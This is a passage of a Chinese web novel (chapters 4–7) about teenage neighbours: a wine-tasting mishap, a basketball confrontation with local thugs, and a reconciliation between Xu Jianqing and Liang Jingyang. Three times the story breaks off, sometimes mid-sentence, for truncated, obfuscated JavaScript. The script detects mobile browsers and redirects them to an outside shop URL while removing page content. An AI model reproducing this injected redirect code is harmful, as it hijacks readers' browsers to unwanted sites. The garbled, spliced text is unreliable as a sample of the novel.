虽然妈妈什么都没对她说,但她还是能看出来,至少妈妈是开心的。 而之前在家的时候,妈妈眉宇间总拧着一种即将发怒的神情,她爸则总是沉默而疲惫。 折腾好半天,终于拔出木塞。 红酒徐徐倒入高脚杯,两人端着杯子,第一次喝酒,还有点小紧张。 许见晴小心翼翼地闻了一下,皱起眉:“有点冲,会不会醉了?” “少喝点,先试试。”夏书亭故作镇定,其实自己心里也没底。 两人干杯,小小抿一口,浓郁的酒味入侵口腔,直冲天灵盖,两张脸皱成包子,但这是尝试成年人世界的一次冒险,不能半途而废,她俩硬是面目狰狞地把一口酒吞下去。 许见晴抿了抿嘴里的味道:“我上次这么痛苦还是喝中药。” 夏书亭灵机一动:“加点巧克力会不会好点?” “对哦,可以加冰淇淋,”许见晴跃跃欲试,“红酒冰淇淋。” “我看有些人加雪碧。” “不是说加雪碧反而不正宗。” “管他呢,好喝就行。” 两人一拍即合,当即出门。 许见晴拎着巧克力和冰淇淋,夏书亭抱着一瓶雪碧,经过社区的篮球场时,一个篮球咻的飞过来,打到许见晴手背上,冰淇淋和巧克力散了满地。 大下午的,水泥地晒得老烫,两人连忙捡冰淇淋,免得融化了。 意外也就算了,偏偏那几个混混模样的男生嘴欠。 “够准的啊你,专挑美女砸是不是?” 几声丑陋的笑声。 “哎别说,还真是俩美女。” 男生吹口哨:“喂~美女,有男朋友吗?” “要点脸,人家一看就是好学生,跟你似的这么早混社会。” “那可不一定,男人不坏女人不爱。” 此言一出,几人鬼叫着大笑起来,也不知道他们在high什么。 “喂美女,帮我把球丢回来呗?” 隔着栅栏,许见晴认出是砸到她的黑皮精瘦的那位。 见她不动,他道德绑架:“别这么小气嘛。” 许见晴小声对夏书亭说了句什么,将东西都交给她,捡起球,往旁边半开的门走去。 “给谁?” “这里。”精瘦男举起手。 她目测了一下距离,评估自己的准头,还差点意思,于是对那男的说:“你走近点,我没那么大力气。” 精瘦男还真往前走了几步。 “接着。”许见晴微微一笑,猛地将球掷出去。 砰!啊! 直中面门。 篮球落地,砰-砰—砰——声渐小,球滚远。 球场上有一瞬间一点声音都没有,几人都懵了,许见晴也意外,她自己都没料到,会这么准。 在那几人回神前,她撇了撇手上的灰尘,一脸无害地说:“怎么连球都接不出,技术也太菜了吧。” 说完倒退一步,和夏书亭一起拔腿就跑。 被砸的小混混再蠢也反应过来,被报复了,他操了一声,就往篮球场外冲,另外几个紧跟在他身后。 梁景阳和江皓买了水回来,远远看见这幕,加快往篮球场跑,生怕她俩被小混混追到。 胆大得很,两个瘦伶伶的女孩子,招惹这些人。 距离越来越近,能看清人了,他看见她们两个非但没有害怕的样子,还边跑边笑。 擦肩而过的瞬间,许见晴侧目溜了他一眼,脚步没停。 午后的阳光清晰明亮,将她的脸照得格外清楚,梁景阳发现她笑起来明眸皓齿,还挺漂亮,像是画在教科书上的女学生,阳光、明媚、健康。 “喂。”梁景阳喊了一声,下意识伸手去抓,只抓到她飞扬起的马尾,女孩柔软的发丝从他指尖滑过,像一尾小鱼,摆着尾巴欢游走了,留下些微丝丝滑滑的触感。 几个小混混转眼间追到眼前。 梁景阳拎着一袋水,自然而然地拦住他们,笑着问:“怎么不打了?” 江皓也配合着挡在几人前面,热情地说:“别走啊,这么热的天,喝了水再走。” 梁景阳一人一瓶地分水,这么一拉扯,几人的脚步被耽误,许见晴和夏书亭已经跑进巷子里,没了人影。 混混不好意思说刚才调戏女生不成,反而被女生用球砸了,未免太丢脸,反正也追不上了,只好装作无事发生。 大家拧开水喝,一片咕咚咕咚吞水的声音。 刚才梁景阳和江皓在打球,他们不知从哪儿来的,说要一起,一起就一起吧,结果小动作特别多,还爱鬼叫,这场球打得特别不痛快。 梁景阳和江皓不想打了,借口去买水,顺便给大家都买了。 这会儿一闹,正好散了。 梁景阳拿着篮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481645|201777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球,看见许见晴刚才站着的地方有什么细细的东西反光,捡起来一看,一条手链,应该是她的,他顺手塞口袋里。 不远处,夏书亭和许见晴气喘吁吁地跑进院子,确认安全了,才手拉手笑着尖叫起来,声音里全是干了坏事得逞后的兴奋。 夏书亭:“啊啊啊我没想到你砸得这么准!” 许见晴:“啊啊啊而且力道特别重!” 两人兴奋地回到房间,再次锁好门,许见晴不直接喝红酒了,倒了一些在冰淇淋上,吃冰淇淋为主。 夏书亭则小半杯红酒,大半杯雪碧,调着喝。 正感慨这样好入口多了,隐约听见有脚步声进了院子,两人屏息凝神,怕是大人来了。 下一秒,啪啪啪,房间门被敲响,两人大气不敢喘,生怕被抓包。 没得到回应,脚步声似乎离开了,她们刚松了口气,只听窗户被推开,接着一道人影掀开窗帘跳进房间,然后又是一个,吓得她们差点尖叫。 看清是谁后,夏书亭重重给江皓一拳:“吓死我了。” 又给梁景阳一拳:“吓死我了。” 江皓看了桌上的红酒和各种杯子一眼,啧了声:“就知道你们两个偷偷摸摸没干好事。” 他自顾自给自己倒酒,一边说:“你们两个敢喝酒?不怕被骂?” 喝酒这件事上,许见晴和夏书亭被管得特别严,因为她俩年纪小小的时候干了一件青石巷尽人皆知的事,差点吓坏家长。 许见晴比夏书亭早一年到青石巷。 夏书亭来之前,她主要和梁景阳、江皓他们几个年龄相仿男孩子玩。 第一次见到夏书亭时,她穿着一条洁白裙子,一个人撑着下巴,坐在外婆家门外的石头上,两眼放空地看着街道。 许见晴和男孩子们鬼混回来,颠着小碎步跑得飞快,乍一眼看见夏书亭,她的脚步就停住了,好漂亮的女孩子,和洋娃娃一样。 她站在夏书亭外婆家门外,直勾勾看着她。 夏书亭很快注意到许见晴,也看着她。 两个小女孩,你看我我看你,愣是没有一个好意思先开口。 半晌,许见晴红着脸,将一块巧克力递给夏书亭:“给你。” 把巧克力给人家后她才发现因为紧张握得太久,巧克力已经融化了,软软的,她的脸更红了。 夏书亭接过巧克力,也红着脸不知道该怎么反应,安静几秒,好像突然想到什么,她丢了一句:“等我。”就跑回家了。 很快,夏书亭抱着一袋巧克力出来。 酒心巧克力被五颜六色的锡箔纸包裹成爱心的形状,亮晶晶的煞是好看,两人你一颗我一颗分着吃,一边聊天一边傻乐。 记忆到这就没有了。 据亭亭外婆描述,她做好饭出来,看见两个歪倒在彼此身上呼呼大睡的小孩,和一地巧克力包装纸时,吓坏了。 巧克力里的酒就算度数再低,六七岁的孩子也受不了,被烧傻了怎么办?外婆连忙去找见晴爸妈。 好在两个孩子一觉睡到第二天,神清气爽地醒来,屁事没有。 这是酒心巧克力事件后,她们第一次喝酒,酒量差,掺着雪碧和冰淇淋没喝多少还是晕了,剩下的大半瓶是梁景阳和江皓喝掉的。 其间许见晴和梁景阳没有一个眼神交流,没说一句话。 只有一次,她小心翼翼地往冰淇淋里加红酒时,梁景阳说了一句:“少加一点。” “我和你很熟吗?” 要你管。 她的手果断一倾斜,倒了不少红酒进去。 后来,她逐渐要醉了的时候,怀疑梁景阳是故意激她。 脸红头晕不能回家,夏书亭翻出碟片,四个人坐在地上看《仙剑奇侠传》,看到好笑的地方,大家笑得七歪八倒。 许见晴感觉身上热热的,脑子也飘忽,稀里糊涂笑着往旁边栽去,被谁扶了一下,没多想,继续看电视。 过了会儿,夏书亭看过来,咦了一声,问:“你们和好了?” 许见晴一愣,侧目看去,发现自己靠在梁景阳身上,瞬间吓得酒醒了一半,连忙坐直身子离开他。 眩晕的效果下,她以为挪开很多,其实并没有。 她只感觉自己哪哪都不自在,都怪这酒太上头,让人的感觉变得鲜明,就连手搭在地毯上都有种真实的触感,紧实又温热。 好像哪儿不对?她捏了一下。 诶?触感动了? 接着就听见梁景阳声音:“手拿开。” “......” “我和你很熟吗?” “............” 5. 第 5 章 傍晚,几人起身回家。 许见晴和梁景阳坐在靠门边的位置,先站起来,转身往外走,坐久了人有些晕乎,加上红酒的后劲,两人在门边撞了一下。 撞上的瞬间,两人都没动,好似等着对方先退开,让自己走过去,但他们谁也没让谁。 下一秒,两人又同时后退一步,让开走出房间门的位置。 “你们两个还挺默契。”江皓后来者居前,大摇大摆地从他们之间走出去。 之后两人先后出去。 许见晴一出门,狗哥就热情地迎上来,夏书亭不在的时候,狗哥和她第一好。 许见晴蹲在地上,摸着大黄狗的狗头,亲昵地说:“宝贝,你怎么可以挡住路呢,好狗不挡道,下次要长眼了懂不懂?” 狗哥得到宠爱,十分开心,拼命摇尾巴。 梁景阳本来都往外走了,听到她指桑骂槐的话,他方向一转,又晃了回来,曲着膝盖,弯下腰,同样摸着狗头:“宝贝,坏狗才乱叫,知道吗?” 狗哥得到双倍的宠爱,开心得不得了,吐着舌头,尾巴快摇成螺旋桨了。 许见晴捂住狗哥的耳朵:“狗哥,不要信他说的话,他是背信弃义的坏人。” 背信弃义? 梁景阳捕捉到一点什么,垂眼看向她,还有点醉醺醺的,神志不是完全清醒。 他问:“我哪里背信弃义?” “什么?”许见晴没反应过来,刚才随口一说,把潜意识里的话给说出来了,说完自己又忘了。 她蹲在地上,抬眼看他,他弯着腰,脸就在她面前,侧脸下颌线清晰,不知是不是角度的原因,这样看他,唇线很柔和,笑容温温淡淡的也很柔和,耐心十足的样子。 梁景阳看她懵懵的样子,又摸摸她的狗头,继续循循善诱:“我哪里背信弃义了?” 许见晴感受到脑袋上的触感,脸上的神情逐渐裂开,她蹭的一下站起来:“你要死啦,摸过狗头的手来摸我的头?” 她皮肤白,喝了酒眼睑下方晕开两抹微红,一激动变成更明显的粉红,而且她那句“你要死啦”一点威慑力都没有,提高的声量,反而有点娇嗔的味道。 梁景阳不自觉笑了,她生气起来还挺萌,和小时候不一样,小时候是纯萌,现在是反差萌。 下一秒,梁景阳感觉到她不仅萌,还挺猛的。 许见晴最气的就是他浑不在意的样子,一走几年无声无息,回来一声不吭,一句解释没有,把她惹生气了,还无所谓地笑,搞得她像个无理取闹的幼稚园小破孩。 她一转身,撞开他的肩膀径直往外走,一口气直接走到家。 她站在院子外,伸手推门时,看着空空的手腕,突然反应过来,手链没了。 这条金链子是她妈妈的,上面的四叶草很精致,看她喜欢妈妈就给她了,读书时一直没戴,爸妈领离婚证那天,妈妈正式搬出这栋房子,夜里她翻来覆去睡不着,鬼使神差地爬起床,翻出这条手链戴上了。 这条手链戴上后就没摘下来过,应该是下午被篮球砸到的时候掉了。 许见晴折身就往回跑,这么久了,也不知道有没有被人捡走。 梁景阳慢他几步回到家,看她这样子,想起口袋的手链,伸手揪住她的后衣领,把人拎了回来。 许见晴急得不行:“干嘛?放手!” “东西掉了?” 嗯? 许见晴问:“你怎么知道?” 梁景阳从口袋里拎出一条手链,问:“你的?” 许见晴登时松了口气,伸手去接,却眼睁睁看着手链升高、升高。 她像是被钓的那条鱼,跟着手链升高、升高,脚尖踮到极致,还是够不到,一下落回地面,不耐烦地看着他:“你干什么?” 梁景阳一点不急,那神色好像沏一壶茶能促膝长谈一晚上,问她:“你下午被那混混用篮球砸了?” “我砸回去了。” 梁景阳微微一愣,眼风扫向旁边,笑了。 他敲了下她的头:“胆子挺大。” 他敲得并不重,她还是下意识捂了下额头,心里迅速蹿起一把小火苗:“不行吗?他们连句对不起都不说,我当然要还回去。” “不是不行,那种混混目无法纪,冲动又鲁莽,谁知道他们会做出什么事,你们两个女孩子,被追到了怎么办?” “不是没被追到吗?”她眼里一亮,看向他,“你还好意思说我,知道是混混你还和他们一起打球,你真是和什么人都能玩到一起去。” “能一样吗?总之以后和江皓不在的时候不要随便和人起冲突,打不过就跑,懂不懂?” 君子不立危墙之下的道理她还是懂的,当时不是酒壮怂人胆吗?她自知理亏,听着他碎碎念,不耐烦道:“知道了知道了,跟个爹似的。” 说着就去够他的手,要拿回手链。 他却将手一收,凉凉看着她:“再说一遍。” “好话不说第二遍。” “那这手链别想要了。” “我的东西凭什么不给我,你就仗着自己高,了不起吗?” “怎么,羡慕?” 许见晴气得想咬死他。 两人正针锋相对,梁奶奶捧着一把菜走来,战火立刻止息,他们脸上一派温和,规规矩矩地叫人—— “奶奶。” “奶奶。” 等梁奶奶一走进院子,战火立刻又点燃。 夕阳西落,暮色逐渐在他身后收拢,他背着光,脸色变得模糊不清。 “爷爷,梁景阳抢我的手链,不还给我!” 许见晴突然告状,然后趁梁景阳看向自家院子,突然伸手去抢手链。 梁景阳反应很快,往后退一步,反手握住她的手腕,将她掣肘住。 他个子高,力气又大,许见晴被她一拽,几乎踮起脚尖,往他身上扑去。 霎时间,两人离得极近,她的目光,好像一瞬间撞进他眼里,清楚地看见他瞳孔里层层叠叠的光泽,眼睛,是直达一个人内心深处的地方,这一眼,完全打破了安全边界。 下一秒,两人飞快分开,用狗都嫌的眼神看了对方一眼,一个向左,一个向右,别开了视线。 “看到没有,男女体格天然有差距。” 许见晴真佩服他,脸皮厚完胜,如此尴尬的状态下,他还能快速找到合理的解释。 她的耐心告罄,没好气地说:“奇了怪了,你站在什么立场和我说这些话?” 梁景阳微微扬眉:“我不能说?” “你以为你是谁?” 她脸色严肃,不是之前闹着玩似的,不认识你,我们很熟吗? 现在,她几乎是质问的口气,和他泾渭分明地划开界限。 梁景阳也收了玩笑的神色,正经起来:“好,那你说说——” “景阳。”一道声音打断他们,是爷爷,两人只好再一次收敛起针锋相对的气场,面色表现得稍微和气一些。 许见晴刚才那声叫唤,真的把爷爷叫出来了,不过爷爷没听清她说什么,只是听到外头的动静,便慢悠悠往外走,一边说:“你帮我去买点药。” 幸好天色暗,爷爷老眼昏花,看不清两人脸上微妙的表情。 爷爷在裤兜里掏零钱:“你去给我买一点,那个,奥你妈错和那个狗地雷。” “买什么?”梁景阳茫然了,什么你妈?狗地雷又是什么? 看他一头雾水,许见晴说:“是奥美拉唑和枸地氯雷他定。” 梁景阳:“......” 梁奶奶见梁爷爷叫人买东西,也赶忙凑过来:“顺便给我买一盒贝多芬和昏花护话素。” 梁景阳又迷茫了,昏花护话素是什么姑且不论,贝多芬能买到吗?还TM是一盒的? “是布洛芬和蜂花护发素。”许见晴干脆接过爷爷手里的钱,自己去买,她是那种看你做点事磨磨叽叽不清不楚,索性把事情抢过来,自己三两下做完的性格。 这几件东西街道外的药店和超市就能买齐,来回也用不了几分钟。 许见晴走远了,梁奶奶问:“见晴生气了?” “估计是懒得帮你们跑腿。”梁景阳满嘴跑火车。 爷爷和奶奶同时用一种你真不要脸的眼神看他。 “你不要一回来就欺负人家。”爷爷说,以为他没看见他们两个打打闹闹? 梁景阳一笑:“我欺负她?她不欺负我就不错了。” 奶奶说:“她欺负你就让她欺负一下,人家一个女孩子又不能把你怎么样。” “......” 祖孙三人往家里走,奶奶一边说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481646|201777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你们不在的时候,跑腿都是见晴,有点事也是你许叔叔帮忙,都说远亲不如近邻......”叽里呱啦一万字。 梁景阳换上他的老人拖鞋,懒懒靠在门框上听奶奶和爷爷一起给他上课,一只手随意揣进裤兜里,摸到一条细细的链子。 掰扯半天,手链还没还给她。 这链子掉在地上,又沾了他手心的汗,他挤了些洗手液,将手链放在水龙头下冲,纸巾一裹就干净了。 过了水的金属是凉的,在他手心没一会儿就染他的温度。 许见晴买了东西回来,梁奶奶又是要留她吃饭,又是要去房间搬零食给她。 她放下东西就溜了。 来回一折腾,最后那点酒劲全散了,吃完晚饭,嘴里的酒味也没有了。 晚上无所事事,她回到房间,坐到电脑桌前,按下电脑开机键。 这台大屁股的二手电脑是从她爸那继承来的,它老人家行动迟缓,老半天了还一动不动。 她抬手就给它来了一下。 啪,屏幕亮了。 windowsXP的开机音乐不紧不慢响起。 hello,酷狗~ 嘀嘀嘀嘀嘀嘀! 叩叩叩! 咳咳~ QQ宠物一个旋风登场,上来就送她一个粉色爱心亲亲。 群头像在闪,是她和江皓、亭亭的三人小群,要不是她不待见梁景阳,估计那两个早就把他拉进来了。 点击群头像,一串信息迅速滑过屏幕。 江皓:[开学!] 江皓:[年度史诗级灾难片《开学》即将上映!好难受!好痛苦!好崩溃!] 夏书亭:[怎么感觉才放假就开学了?] 她嗷嗷哭:[总有人当废物,为什么不能是我?] 许见晴看了眼时间,还有两天就开学了,这个暑假虽然什么正经事也没干,但不妨碍她说大话,她将手搭在键盘上,噼里啪啦打字:[不慌,距离高考还有1018天。] 夏书亭:[......] 江皓:[............] 许见晴:[微笑] 夏书亭:[我有时也纳闷,怎么会认识你这种学霸?] 江皓:[你37℃的嘴就不能说点有温度的话吗?] 许见晴:[不慌,距离高考还有1018天。[太阳][太阳][太阳]] 江皓:[晕。] 夏书亭:[倒。] ...... 在群里聊了会儿,有一条好友申请,她点开一看,又是梁景阳。 他刚回来那天就加她了,她没通过。 现在知道来加她了,之前干什么去了?如果他今年没转学回来读高中,他们一辈子老死不相往来了是吗?以前的情谊又算什么? 呵,确实不算什么,他要回来,告诉江皓和亭亭,唯独没告诉她,能算什么? 许见晴果断点×。 没多久,手机响了,一个没存的号码,她没多想,接了起来。 “喂,你好。” “喂。” 梁景阳的声音? 她顿了一下,拿远手机,他不会特意打电话来叫她通过QQ好友申请吧? “在家吗?”声音隔着二十厘米,有点小。 许见晴清了下喉咙,拿近手机:“不在。” “你房间开着灯。” “......” 他不会在楼下吧? “干什么?”她问。 “我在你楼下。” “......” 许见晴走到窗前,小心翼翼地探出一双眼睛,往楼下看。 “别躲了,看见你了。” 她连忙一缩,心跳加速。 手机里传来一声轻笑:“骗你的,没看见,下来吧,我们聊聊天。” 许见晴索性直接站在窗前,往外一看,他真站在她家院子里,举着手机,仰头看着她的窗口,发丝被风吹起。 大概是夜色做了滤镜,她竟觉得他现在的样子清清爽爽,有几分赏心悦目。 她的手指勾在窗沿边,心里还有气,语气不算友好:“我们有什么好聊的?” 电话里静了一静,他的声音清晰传来:“聊聊我们之间的误会。” 6. 第 6 章 “我要是不下去呢?” “那我上楼找你。” 一分钟后,许见晴和梁景阳站在院子外的路边。 月明风轻,远处传来知了此起彼伏的叫声,路灯拉长他的影子,显得他挺拔的身影格外干净利落。 他这身量很有压迫感,许见晴需要微微抬头才能和他对视。 “说吧,聊什么?” “这几天,和我闹什么脾气?” “......” 许见晴一个白眼就想翻死他,谁闹脾气?难到他是真的没有意识到自己多混蛋? 她怎么回答? 你那时候为什么有了新朋友就疏远我?不知道我和她不对付吗?为什么把我拒之门外?为什么带她到我们几个的秘密基地?为什么我给你写了告别信留了电话号码,这么多年了,从来没有联系过我? 她越想越乱,一个问题连着一个问题,揉成一团乱麻。 很快,羞耻感接踵而来,她要怎么说?怎么问?好像她多在意他似的。 真说起来不过是小学时吵吵闹闹的小矛盾,或许有什么误会,或许当时只要有一个机会,就能很快说清楚,这么多年过去了,她还纠结这些事,好像显得她特小气。 可是,当时不到五年级的她,就是很失落、很伤心,加上爸妈感情破裂要分开,妈妈要带她去根本容不下她的外婆家,爸爸无能为力,她无助极了,就连最好的朋友也抛弃她,最后一点寄托也没了,她感觉整个世界都离她而去,绝望得不行。 当年的一粒沙慢慢滚成硕大的球,他轻飘飘问一句,你闹什么,让她怎么说? 许见晴喉咙里堵着一堆话,愣是一个字都说不出来。 梁景阳静静等了会儿,没等到回答,他率先开口:“怪我这几年我没联系你?” 许见晴的睫毛眨动了一下,敢情他知道? “你走得太突然,我知道的时候已经找不到人了,第二天我也和爸妈走了,一开始给你打过电话,你爸说你去外婆那边了,后来......”他陷入回忆,表情有片刻很冷漠,很快又抽离出来,“我在新学校遇到一些事情,一两句话说不清楚,总之住学校挺不方便,回到家我爸妈又忙,我想没多久就过年了,回来能见到你,也就没急着联系,没想到过年你没在家,找你爸要来你外婆家的电话,一个女孩子接的,应该是你表妹,说你不想理我,就挂了电话。” 许见晴愣了一下:“我没有。” “我想你也不会。” 但终究是没联系上,这件事也就不了了之,他们当时那个年纪,手机尚未普及,身处异地,断联很容易。 等等,从接收到的一对信息里,许见晴捕捉到一点:“你说你找我爸要外婆家的电话?” “嗯,怎么了?” “我给你留了信,信里写了联系方式,你没看见吗?” 梁景阳目光往旁边移,陷入回忆,没有任何印象。 “你什么时候给我留了信?” 一说到这个许见晴就来气:“鬼知道你和温馨他们躲在房间干什么,我马上就要走了,去找你,你们把住门,不让我进去。” 梁景阳皱起点眉,时隔久远,完全没印象。 “我当时真想直接走不理你,怕你找不到我,又回家快速写了一封信,留了电话号码,你们关着门我也进不去,就放在你家二楼的桌子上,水杯压着,还专门写了梁景阳亲启。” 他看她气鼓鼓的样子,难怪她这么生气。 隐约回忆起一点,他说:“我们那天好像是在看鬼片,关了灯和窗户黑更刺激,你不敢看,所以没让你进房间。” “......” 她只记得他们当时笑笑闹闹好不开心,也没和她说什么,只是一心急着关门。她一个人被拒之门外,失落伤心到不行。 “那信呢?”她问。 “没看见,不知道是不是被谁不小心或者故意丢了,那天人挺多的。” 呵,许见晴冷笑:“谁让你狐朋狗友一大堆。” “这事是我的错,我道歉,”梁景阳淡笑着看着她,“那你呢,这么多年一次都没找过我?” 许见晴被他说得一愣,旋即不可思议地看向他:“拜托,我都给你留电话了,我又没有你爸妈那边的联系方式,再说了,我当时在气头上,不该你跪下来求我原谅吗?” 说完,两人就没话了。 夜风空荡荡吹着,像是没终点的过客。 “我回去了。”许见晴别开眼睛,转身往家里走。 梁景阳看着她走远的背影,马尾一荡一荡。 这小脾气,行吧,他哄。 许见晴一口气走到楼上,一颗心还突突跳着。 不等她回味他刚才的话,窗外似乎比以往更亮一些,她下意识往外看去。 对门隔窗相望,常年漆黑的房间亮起了灯,一道人影正往里走。 她往旁边一移,飞快拉上窗帘。 昨天她睡得早,没留意,这会儿才注意到他已经住进对门隔窗相望的房间了。 想到他刚才的话,耿耿于怀多年的心结,竟然就这么点事?不知那个结是不是打了太多年,明白真相后,心里依旧说不上什么滋味,闷闷的,躁躁的。 她悄悄伸出一根手指,将窗帘拨开一条细缝,偷偷往外看。 黑夜下,房子显出模糊的轮廓,唯有一扇窗口十分明亮,梁景阳站在窗前,单手拿着手机,点了几下,放下手机,转身走向衣柜...... 许见晴预想到他接下来会干什么,连忙放下窗帘,好像偷窥到什么不能看的内容。 等等,这一眼,她又发现不同,再次勾起窗帘一角,看向自家院子。 昨天还昏暗得看不清路,让她差点绊到的路灯,什么时候换了?换成一盏十分明亮的路灯。 她看向对门明亮的窗口,说不上什么滋味的心情里,多了一抹光亮。 半小时后,许见晴洗完澡出来,吹干头发,舒舒服服地躺在床上,心情平复许多,开心有的,但又掺杂着许多说不清道不明的感觉。 就像之前一次,她意外从口袋里摸到一片枯叶,惊喜地想起那是她和梁景阳、亭亭他们一起跑山时不小心掉进口袋的叶子。 没惊喜两秒,很快又陷入落寞,绿叶变成枯叶,人也不知去向。 她翻了个身,拿起手机,有新信息。 点开一看,又是一条好友申请,这是梁景阳第三次加她。 他刚才在窗前点手机的那几下,是在申请添加她好友吗? 见也见了,吵也吵了,聊也聊了,毕竟是和自己从小一起爬树摸鱼跑山抓萤火虫偷吃杨梅干不小心打翻一整罐然后嫁祸给狗哥的小伙伴。 看在他主动求和的份上,就大发慈悲地通过吧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481647|201777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许见晴点击通过,没两秒,手机一震。 梁景阳:[恭候多时。] 切~她一副满不在乎的样子,嘴角却不知为何有点弯弯。 她在床上翻了一圈,两手捧着手机,故意问:[你是?] 梁景阳:[路人甲。] 她弯唇,把他的备注名改成:路人甲。 想想不对,又改了一个字:路人梁。 时间不早了,她说:[晚安,路人甲。] 梁景阳依旧秒回:[晚安,路人许。] 嗤~ 许见晴关了灯,躺在床上,却翻来覆去怎么都没有睡意。 又爬起来,打开灯,一只脚踩在拖鞋上,够到桌子上的手机,找了个舒服的姿势趴在床上,把手机靠在枕头上,立在眼前。 她想看看他的QQ空间,这几年都发了些什么,又担心他发现自己的访客记录。 犹豫间她先点进自己的空间,看见有新访客,点开一看,梁景阳赫然在目。 他竟然先她一步,进了她的空间?并且大大方方留下访客记录。 她看着他的名字想七想八,直到手机屏幕自动变黑,映出她弯起的嘴角—— 她竟然因为他关注自己而觉得开心? 切,她才不在意他。 许见晴面无表情地点进他的空间,四年没联系,看看他过的是什么狗日子而已。 他发的说说不多,转发的电子产品的信息多一些,总之,没有太多可看的,能获取的信息不多。 她放下手机,再次熄灯,躺在床上,看着窗帘缝隙里透出的一丝亮光,想起第一次见他的场景。 六岁那年的夏天,她们家搬到青石巷,爸妈要收拾房子,带她到对门梁叔叔家先待着,院子里几个小孩在玩。 梁叔叔冲院子里喊:“景阳,回来。” 她躲在爸爸的身后,对她爸又要把她放在别人家十分排斥。 她爸妈忙,有时没空去幼儿园接她,就让邻居帮着先带她回家,次数多了别人也嫌麻烦,她听到邻居阿姨夫妻俩小声埋怨,没空照顾生什么孩子。 那种在别人家里的不自在感,口渴了不敢说,要上厕所怕麻烦别人,和同学一起玩也小心翼翼,自动谦让,不敢发出太大的声音...... 现在,在陌生的房子里,那种难受又来了。 没多久,一个和她差不多大的男孩走来了,他身后还跟着几个小屁孩,她下意识往后缩,在她爸的腿后,只露出一双眼睛观察他们。 “景阳,这是见晴,比你小六个月,以后住我们对门,你是哥哥,要照顾她。” “走,我带你去玩。” 他好像看不见她的退缩,坚定有力的手一把握住她,牵着她就往外跑,一步迈入炽亮的阳光里。 那是七月最热的一天,骄阳似火,蝉鸣聒噪,许见晴被他拽着奔跑起的瞬间,仿佛世界突然安静,她只感觉灼热的风刮过耳边,树木花草飞快后退,她的心脏突突跳动着,一个崭新明亮的世界里,她渐渐扬起了嘴角。 “梁景阳,我们一会儿去哪儿玩?” “梁景阳,这个送你,你喜欢的四驱车。” “梁景阳,今天我做值日,放学你等我一会儿。” 梁景阳、梁景阳、梁景阳...... 一夜好眠,那日午后的阳光和笑声在梦里晃荡很久。 7. 第 7 章 次日,清晨。 许见晴被啪!啪!啪!有节奏的声音吵醒了。 起床推开窗一看,梁景阳和他妈在院子里打羽毛球,他爸穿着运动装坐在一旁,用毛巾擦汗,看样子刚下场。 一家三口,其乐融融。 清晨的风很清凉,她站在窗前看了会儿,拿出手机,点开妈妈的号码,拇指在拨号键上悬了半天,还是没拨出去。 算了,这个点她妈不一定起床了。 刷拉一声,她家窗前的树枝一阵抖动,梁景阳一身使不完的牛劲,竟然把羽毛球打到她家的树上了。 他探头看过来,许见晴往后一缩,又听见梁奶奶喊吃早饭,再往外看时,他已经不在了。 下楼吃完早饭,她爸在院子里浇花。 许见晴闲着无聊,晃到院子里,不知不觉,目光望向了卡在树枝上的羽毛球。 看在他帮忙换路灯的份上。 许见晴回屋拿来一条跳绳,中考后买的,到现在包装还没拆。 她走到树下,往上甩了甩跳绳,够不到。 退后一步,将跳绳往上一抛—— 现在好了,羽毛球没下来,跳绳挂树上了。 她左右看了眼,从旁边的花盆里拿出松土用的小铲子。 后退,抬臂,瞄准羽毛球,抛—— 咵嗒一声,羽毛球依旧没下来,铲子又卡在树梢上了。 她又捡起一个大红色的塑料水瓢,猛地一丢—— pong,水瓢也卡树上了。 人是不能一直倒霉的。 她不信邪,非得把羽毛球弄下来不可。 环视院子一圈,看见立在墙角的衣叉,果断拿来,准备一雪前耻。 她举着衣叉一耸。 ......这树什么时候长这么高了?她踮起脚尖,手臂拼命往上伸,总差那么一点。 我还不信了。 许见晴就要往客厅走,这时耳边飘来她爸的声音:“女儿,给家里留点资产吧。” “......” “我去搬凳子。” “搬什么凳子,不要摔到自己,”许呈礼冲门外喊了声,“景阳,过来帮个忙。” “......” 她宁愿要凳子,也不要这货。 梁景阳啃着苹果走进来:“叔叔,什么事?” 许呈礼冲树杈抬了抬下巴。 梁景阳一看就乐了,将苹果核丢进垃圾桶,拿走许见晴手里的衣叉,往树枝上一戳一个准,水瓢、小铲子、羽毛球都落下来了。 最后他用衣叉勾着跳绳一拽,将跳绳也拖了下来。 清晨总是清爽宁静,老榉树满枝绿叶在风中轻晃,跳荡的光点落在他脸上,衬得他眉眼明朗干净。 鸡飞狗跳了两三天,这会儿静静看向他的侧脸,许见晴发现这狗东西长得还挺帅的,特别是神情认真的时候。 她接过跳绳,梁景阳顺手把地上的小铲子、水瓢捡到旁边放好。 